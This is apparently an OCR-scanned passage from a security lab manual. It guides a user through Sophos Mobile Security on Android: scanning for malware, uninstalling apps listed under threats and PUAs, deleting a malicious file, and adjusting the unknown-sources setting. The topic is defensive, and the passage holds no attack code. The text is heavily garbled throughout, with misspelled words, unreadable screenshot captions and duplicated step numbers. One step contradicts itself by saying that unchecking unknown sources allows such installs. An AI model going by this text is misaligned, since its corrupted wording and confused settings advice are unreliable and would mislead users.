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13. Click Seanner to start the scan for malicions applications cn yous
_H rask s Android device. '

Perform Malware
Scar IE] Sophas obile Securty i

O SOnrne I! Preivaay ddvisar

ﬁ Spcimily Advenr

Spam Frofecto M A po Pootectian
L rfy

-:‘:h Weh Filtenng

et

FIGLRE 4.0k Sephas Miskile Serunby Maloacs Scurmer
14. The Sophos Mobie Secnnty Scanner windoor appears; it 15 dimded into
four sections.

15. Click Start, noder Malbware Seanner, to start the scan

= Siancer

LY Phicone Speaen P
Blincks aswgrns ey,
debnal by phine mumbes

FIGLTRE £ 11: Sophae Startmg Mahsoies Sein
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16. Once the scan starts, you can see sts statns nnder Malware scanner.

L:I 505 Spasn Filter

beckorw Aundrcmd 4.4

FICAIRE 412 Segdbecn Mabaare Scanner Pripunng for S
1 5

X amigrd Mt 17. Onece the scan 15 complets, it will display the Seanned apps, Seanned
e Pl Cimbrl files, and Threats found on the mobile devica.
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Googie Play Siore

B e A

FEGLTRE 413 Soqihos Mabsaer Scarmey Stahes
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18. The Malware Scanner is complete and displays malicions applications
and files nnder Theeats and FlTAs, Clean applications nnder Clean zpps,
and the Details section displays the information about the application
stalled on the mobdle devica.

| m] Misndcvitly

Tiruri biiew R apport

ks

1 | | ml imatiben Bl Ba

¥ i TN s
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P Tormiral Emuslabor

Google Plyy S Sy stes ook

B roode b

FICARE £ 14 Sopbesd Distched Theeatd Inbormaben

19. Now, choose any application under Theeats and PUAs, and dlick
Uninstall to nninstall the malicions application from the mobde device.

= Goanedr Qmrme e

| m] PR vty @ BnraA i Iy

frepm sl

o Tirurs biiew R apport

| m] riemiibes il Bay
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FIGURE 4.15: Sophos Unmitalbey Protentaly Unsested Applocscs
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20. Simmlarly, wninstall other applications from the mohile demice that have
been fonnd to be normsmoocthy.

& Soanmer o @

| ml PA B e i Tinsbe e Rappon

Senn el

W Trusteer Roppor

L] | |® hemaTibom efila Bl

T i Placck P s i

LS TR T
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Gcoghe Play e

Phane cadls
BT ol A

FIGLURE 4. & Sopleo fineal Mivbenas {inest

21. Some apphcations, while nmnstalling. wall ask for the permission of the
mser to do s0; click OK to confirm

H Trusteer Rapport

10 [ E—— FIGURE 4.17: Cessfrrmsing Unistaliston of app
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23 Choose a malicious file in the Theeats and PUAs section, and click
DELETE. It will delete the malicions file permanently from the mobdle
dewice, as shown in the sereenshot

= _" Qe @
dewniendilla Bin Zitmo_tr_ECBSCE1 705306
i EAFOBFICETCT DOAFADA
| |I| dosniibadfibe- 1 bin

i
Hitmo_ir ECRRCEY TR

Scmn el
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Tl Edch
P Tormiral Emulator

Google Play Siore

I oo Ao

FICAURE 4 18 Delehng Mabcwns Fils
™ = T 23, Mow, set secunity semtings by nsng Secnaty Admisor of the Sophos
—_— Mobde Secnrity application.
Launch Secwity .- : 5 . :
Achvi 24, Click Seewrity Adviser to access the settings.

O Soarm I! Privaay Advisar

ﬁ Secimily ArviEnr

g Spam Profecto
iy

suilems, & morrte Wk e

weipee il shiiekd panr

s et B FIGUTRE 419 Sophes Secusty Advisar
P €y
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Secunity Advisor mindow, ¢ Unknown App Sources [ndes
), and click Change (e nknown App

| S

The Android Secunty setting: dow appears. Navigate to Deviee
Administration and choose Unknewn seurces.

27. By defanlt, the Unknewn seurces option 15 checked

senomaticafly ook
Foswer butson insiantly Focks
Enabie wilgets

Crner info

Make passwords visiake
i TRATION

Desice administrators
Urknown pourtes
Yenfy apps

FIGLRE 4.21: Ancinad Secumty Seigeym
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. uncheck Unknewn seurces (mnder Device Administration) to
allowr the installation of apps from wnknown sonmces

seomatically lock
Fosweer butsan msiantly focks
Enaie widgess

Crmnerinio

Make passwonds vsinke

Device administeators

Urknown pourses

d
ms avalable in Sophos
e from the nowanted o
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I = BAraslucis
LaD ANalysis

Analyze and docnment yonr resmle: selated to this lab exercise. Prowide your opuson

of yonr target’s secunty postige and exposnze.

[1¥es

Platform Supported

1 Classroom
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